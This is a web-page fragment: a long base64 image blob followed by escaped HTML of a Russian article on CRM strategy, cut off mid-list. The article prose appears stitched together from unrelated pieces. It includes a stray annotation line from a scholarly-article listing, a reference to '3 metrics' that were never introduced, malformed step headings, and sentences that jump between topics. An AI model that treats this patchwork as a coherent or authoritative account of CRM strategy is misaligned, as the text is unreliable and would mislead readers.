JJ9uwNeeHd7rbriLvBuMhiaCpQkIcIc3UCCebv1BPxq23C3AZC7QBwGn93PmqRbkCJ0Ex6q6meOWDWKz5lpRi0l23XuzOpklAIbRMdHrEED6ySfVJPY8pqu+kGl+ouVs5I3jGTfMCre2Y81hx5ban1dd2lBPYdCCT0FR1GyXIYd0dvUW9TGZ7wIckoeUHFg991dz2FGskyCO\/LksXqa07PBEpaHlJL2\/fm2PWrlGwqW9N1Km4QYOonXj7\/CqZRdTaWtKxykqStSVHcgkGuKUrarISlKURKUpRErI2jJLrjqJC7XL9HD6NnFBIJ2HsJ7fhWOrGZNMFvx25zSdvBiOqB9\/Kdv21arUqddhZVaHN5ESNNVU2o6kc7TBCrPaIc3Ns6chpkOA3CW88tW++wKlKJr1YBcL1i2qNmWxOfjTINzQ0HG1FKkHm5SQR271tXD1ZRIulyyB1PSMhLDZ\/pL6n9g\/bWJzGO3bNaUrbHKlU+M\/+KuUn9ta0U4ptqHiVzwogU2VjxcrZful6hfba9f8AjF\/317LRqpnUW4NOy8yvCmSSle8tZAB8+9acaVl3NjRuqL6DxAcCNNDqI08V0ltV7NWbWaAS0g6jTTmpenZFdb8hDlxvMmcgdUF18rH4bmvHuPaK0C1XdMFtTDqVlHNzAp8q9v6RQ\/5j\/wDVH99fP2KdCMYt7t9OlTdUaDo7mOHHfmvccN6WYVVtWPe9tN0at2g+y3FWyklIXsSNtx3FVRyPVrWCw5LOxl7IyuRElKjJ5YrQ5+vqkDl8wQfxqfTkUTtyPf1R\/fUKazYfcb3f2soxuGpZ8EekkuttlKkfVV6yhv0\/4Cuo6C9HLi1vX0sVs5pvGhc0GCOUzEifWFx31Bxttxh7a2EXZbUYdQxxEtI1mImDB8BK1e56t6nNXFELIrs6TFdSpxhbDaTt7Og8watNp27YMBx9GtuduFJXHUbFbkLHOorSRzbea1AkDySkknv0rRbdBeIDUa2ozW1ad3m8QpRLaJjIbIc8P1DsOYEgbbbgbbg1OGhmjWuF6yayWXUfSa9vWmyNKaS5dEhhiM0AeTlDi0pX6+2\/KFK28tq9Hx3DrF9lUw6iert\/uztZDXubrLBqA0v2d4SOMHxexxW9ui2tcv6yq7Llc5xLA7SHk6lwbu0bTE7SLQaWZRMy7AbVk1zi+iPzW1OLbIICRznYDfbcbbdazVyu9nt7Xzvc7sxCixeYOOPrCEHceZNbFjmnFxaiFOTTovMCAxHgIUG2UAfVKlfXPvCUj3VpvEdowxlukl2jWp1z022o+cGEq22WWwSpPbzTvXzrS+nDsQxiHjqaNWofwlpFNjjsAdXEAxOnNd1cdI7exw4mm41qzG8QWhzgNzyk6r596lXOFetQMhu1tfS9Fl3J91lxPZaCskEVraTsd6EFJII2I8jRJ2Pbevuaztm2VtTtmGQxoaJ3gCF8nXNd11cPrv0LnEnzJlZS3W2bcVpahx1OE9z5D7zUh47jTFlZ8RwpdlLHrrA6D3Cu7GGkIscMoQElTYJ2HesrXk9Do9b2l\/Vu3nM8ucRyEk7ePj7L2zo50ct7Gmy7eczyARyEjgOfj+SUpSt0uuSlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURK1LVd9cfT+8Lb7lkJ\/AqArba1TVJkyMDu7QQ4tSmk7JQnmUTzDsKt1PwHyVut\/hu8isLoRbfQsDRKKdlT5Lr2\/tAIQP8AkNaLrVDVb9RLbdNtkym2V7\/0kK5T+zb41JelN4t0rFINoiMSmXrdHS28h9lSPW8yCeh3O9YPXmypm2S23Ztp5ciFL8NKWmytSkrG5329nIKxnsBtxHCFh1aYNoA3hB\/dSelXMkK9o3rmsDieVW3I4aBDElLrLaA6l9hTZB228xsevsrPVltIcJCz2uDhISlKVUpStDzy\/lb3zLGWeVGxeIPc9wmt6WoIQpZ7JBNQrMkOSpT0lxRKnVqWevtO9brBLZtaqajv6fzK4Tp5ir7KzZbUjBqEz\/pESPWR6SvozwT5Q1kGhcG3FSfHsM2TAcA9hV4qD\/VdA\/A1AvEHxRaxWbUW\/YbY70mywbZLXHa9HYT4q0DsVKVv39wFZL5PvLhDyfI8Kfd2Rcorc5lJ83Gjyq295Sv\/AHR7K0bjdsyLXrnMlNI5U3GFHk\/erl5Sfik1qLLDrdnSSvRrsDg4FzZE7wf1K5m7v67uj9GtQeWkENMeEj9l7eGrVXWXKdbLJbDm11uEaa6pVwYlPF1r0ZCSpZ5T0QewBG3Uirh8ReoEXTrSa93Vx1IlS2FQYiCeqnXAU\/sBJ\/CoJ4BNPUsQL1qVMjgLkq+boaiOyEndwj7zsPwqLOMbWhnUjOE4xYZYdseOKW0lxB3RIk9lrHtA25Qfv9tWbuxpYx0gFCgwCnSAzECNtY09vQq7bXtTCsENes8l9Scsmd9OPuq9uKUpalKO5J3JrhPfeuK74kdyTJaYaHMp1QSAPea9JJDRJXntNrqtQBo1JUuWBBbssNJHZlNZCuqMyI8dtgHo2gJH4Cu2vPKjs7y7mV9MW1PqaLKZ4AD2CUpSqFeSlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURK4IBGxANc0oi4CUp+qkD7hQpCuigD99c0oi4CUp+qkD7hXNKURKUpRFwpIUkpUNwRsahy82t+03B6I8kgJUeQ7fWT5H4VMlY+7WS33prwpzPNt9VY6KT9xrZYbf9iqHMJad1y\/Sno8cet2imYqMmJ2M7g+ywGgGdxdONV7DlFxlCPBZkeDLcUdgllwFKifwNSJxs5nhmaZ\/abth+QQ7qyxaQ3JcirC0oWHFkAkefKQahHL9I8jubyGLFeYiYKk\/rESCpC99\/alJ5h8K\/do0kutoiehtPwiF9XF+IvdR22325azHOta+JsxAPjK0t14zt7Lgu5MWtsOfhz6BdmcDI1iP3U+p4scLtPDpbdONJnZTN7djGLPeWjkVGCty6sHzUrfYHyHv2qs5JUeo3NZex6JzrRcHJQvrQacSU+GGyojr7em9bZF05trexmS3nz5hICAf7f21OGVbHC6b4dLnOLidyST5AeSuX\/RzGsXqt\/wCUGMaAACQAIHKSfPRaBHjPSXUtR2lOrV0CUjcmpDxLERayLjPAVJ2\/Vo8m\/wD1rPW+z221p5YMRtr2kDqfvNeyrN9i77lpp0hDfkrqOj\/Qujhbxc3RD6g2\/tB5+J5cuSUpStMu5SlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpRF\/\/Z\" width=\"308px%\" alt=\"crm \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f\"\/><\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0438\u0435 \u0442\u0435\u043c\u044b \u043d\u0430\u0443\u0447\u043d\u044b\u0445 \u0440\u0430\u0431\u043e\u0442 \u043f\u043e \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u043a\u0435 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441\u0443 , \u0430\u0432\u0442\u043e\u0440 \u043d\u0430\u0443\u0447\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u0410\u0445\u043c\u0430\u0434\u043e\u0432 \u041c.\u0425. \u0410\u043d\u043d\u043e\u0442\u0430\u0446\u0438\u044f \u043d\u0430\u0443\u0447\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u043e \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u043a\u0435 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441\u0443, \u0430\u0432\u0442\u043e\u0440 \u043d\u0430\u0443\u0447\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u0410\u0445\u043c\u0430\u0434\u043e\u0432 \u041c.\u0425. \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f \u2014 \u0440\u0430\u0437\u0431\u0438\u0442\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e \u0433\u0440\u0443\u043f\u043f\u0430\u043c \u043f\u043e \u044d\u0442\u0438\u043c 3 \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0449\u0443\u044e \u0441\u0443\u043c\u043c\u0443 \u0440\u0430\u0441\u0445\u043e\u0434\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u0442\u043e\u0432\u0430\u0440\u043d\u0443\u044e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044e.<\/p>\n<p>\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0435 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0435\u0434\u0438\u043d\u044b \u0432\u043e \u043c\u043d\u0435\u043d\u0438\u0438, \u0447\u0442\u043e \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u0430 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c CRM \u0432 \u043e\u0442\u0440\u044b\u0432\u0435 \u043e\u0442 \u043e\u0431\u0449\u0435\u0439 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f. \u041f\u0440\u0438 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f CRM \u043c\u044b \u0447\u0430\u0441\u0442\u043e \u0441\u043b\u044b\u0448\u0438\u043c, \u0447\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a \u0442\u0430\u043a\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u0435\u043d \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 CRM-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 CRM-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f, \u0438\u0437 \u043a\u0430\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u043e\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442.<\/p>\n<h2 id=\"toc-2\">\u0428\u0430\u0433 3  \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0418 \u0422\u0438\u043f \u0414\u0430\u043d\u043d\u044b\u0445<\/h2>\n<p>\u0412 \u044d\u043f\u043e\u0445\u0443 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0434\u0430\u0436 \u0438 \u0436\u0435\u0441\u0442\u043e\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0446\u0438\u0438 \u043e\u0440\u0438\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0430 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c. \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e, \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u043e\u0432\u0430\u0440\u043e\u0432 \u0438 \u0443\u0441\u043b\u0443\u0433 \u2014 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435, \u0442\u0430\u043a \u0436\u0435 \u043a\u0430\u043a \u0438 \u0446\u0435\u043d\u044b. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043e\u0442\u0441\u0442\u0440\u043e\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0435 \u0438\u043d\u0434\u0438\u0432\u0438\u0434\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 CRM \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043a\u0430\u043a \u041f\u041e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u043e. \u042d\u0442\u043e \u0446\u0435\u043b\u0430\u044f \u0431\u0438\u0437\u043d\u0435\u0441-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u0443\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0441\u0432\u044f\u0437\u0435\u0439 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0445 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u044f, \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u044f, \u0430 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043a \u0440\u043e\u0441\u0442\u0443 \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.<\/p>\n<p>\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u043a\u0430\u043d\u0430\u043b\u0435, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0434\u043d\u043e\u0433\u043e \u043b\u0438\u0434\u0430. \u041f\u0435\u0440\u0432\u044b\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u0432\u0442\u043e\u0440\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0430\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435). \u041a \u0440\u0435\u0444\u0435\u0440\u0435\u043d\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0424\u0418\u041e, \u0440\u0435\u0433\u0438\u043e\u043d \u043f\u0440\u043e\u0436\u0438\u0432\u0430\u043d\u0438\u044f, \u043d\u043e\u043c\u0435\u0440 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/xcritical.com\/wp-content\/uploads\/2021\/02\/2626f7b7-f0da-4b37-9fd0-1e947c2f7ddb.jpg\" width=\"302px%\" alt=\"crm \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f\"\/><\/p>\n<p>\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0442\u0440\u0435\u043d\u0434\u044b \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430 \u043d\u0430 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0433\u043e\u0434\u044b \u2013 \u044d\u0442\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f (\u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e CRM-\u0441\u0438\u0441\u0442\u0435\u043c), \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0430 \u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043b\u0438\u0431\u043e \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 CRM \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438, \u043b\u0438\u0431\u043e \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0435\u0451 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c. \u041c\u043d\u043e\u0433\u0438\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u044e\u0442, \u0447\u0442\u043e \u0431\u0435\u0437 \u0433\u0440\u0430\u043c\u043e\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u043b\u0443\u0447\u0448\u0435 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b. \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f (\u043a\u043b\u0438\u0435\u043d\u0442\u044b, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438, \u043f\u0430\u0440\u0442\u043d\u0435\u0440\u044b \u0438 \u0442.\u0434.) \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e. \u0422\u0430\u043a\u0436\u0435 \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u043a\u0430\u043d\u0430\u043b\u0430\u043c\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0431\u0443\u0434\u044c \u0442\u043e \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 \u0436\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0435 \u043f\u043e\u0447\u0442\u044b. CRM-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f &#8211; \u044d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u043f\u043b\u0430\u043d \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438, \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0442\u044c \u0441 \u043d\u0438\u043c\u0438 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0432 \u0438\u0442\u043e\u0433\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u044b.<\/p>\n<h2 id=\"toc-3\">\u0428\u0430\u0433\u043e\u0432 \u041a \u042d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0439 Crm<\/h2>\n<p>\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u044d\u0442\u0438\u043c \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f CRM \u043a\u0430\u043a \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 CRM-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u0418 \u043d\u0430\u043a\u043e\u043d\u0435\u0446, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0442\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043b\u0430\u043d \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 SMART-\u0446\u0435\u043b\u0435\u0439 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u043f\u0440\u043e\u0433\u043d\u043e\u0437\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438. \u041c\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u043b\u0430\u043d \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0441\u044f \u0441 \u043c\u0430\u043b\u043e\u0433\u043e \u0438 \u0431\u044b\u043b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0433\u0438\u0431\u043a\u0438\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0438 \u0442\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0438.<\/p>\n<ul>\n<li>\u0418 \u043e\u043d\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043f\u0440\u0430\u0432\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0438\u0439 \u0434\u0435\u043d\u044c \u043a\u043b\u0438\u0435\u043d\u0442 \u0440\u0435\u0448\u0430\u0435\u0442 \u043f\u043e\u0434\u043d\u0438\u043c\u0435\u0442\u0441\u044f \u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u043e\u0431\u0430\u043d\u043a\u0440\u043e\u0442\u0438\u0442\u0441\u044f.<\/li>\n<li>\u0412 \u0433\u0440\u0443\u043f\u043f\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0434\u0430\u0436\u043d\u0438\u043a\u0438, \u043c\u0430\u0440\u043a\u0435\u0442\u043e\u043b\u043e\u0433\u0438, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.<\/li>\n<li>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 &#8211; \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043c\u0438\u0442\u0435\u0442\u0430, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043b\u0438\u0446\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043b\u0438\u0446\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430).<\/li>\n<li>\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u00ab\u0442\u0435\u0440\u0440\u0438\u0442\u043e\u0440\u0438\u0438\u00bb \u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0446\u0435\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f CRM-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0432\u0441\u0442\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0431\u0443\u0434\u0443\u0442 \u0441\u0442\u0440\u043e\u0438\u0442\u044c\u0441\u044f \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0437\u0432\u0435\u043d\u044c\u044f\u043c\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.<\/li>\n<li>CRM-\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u2014 \u044d\u0442\u043e \u0441\u043e\u0444\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 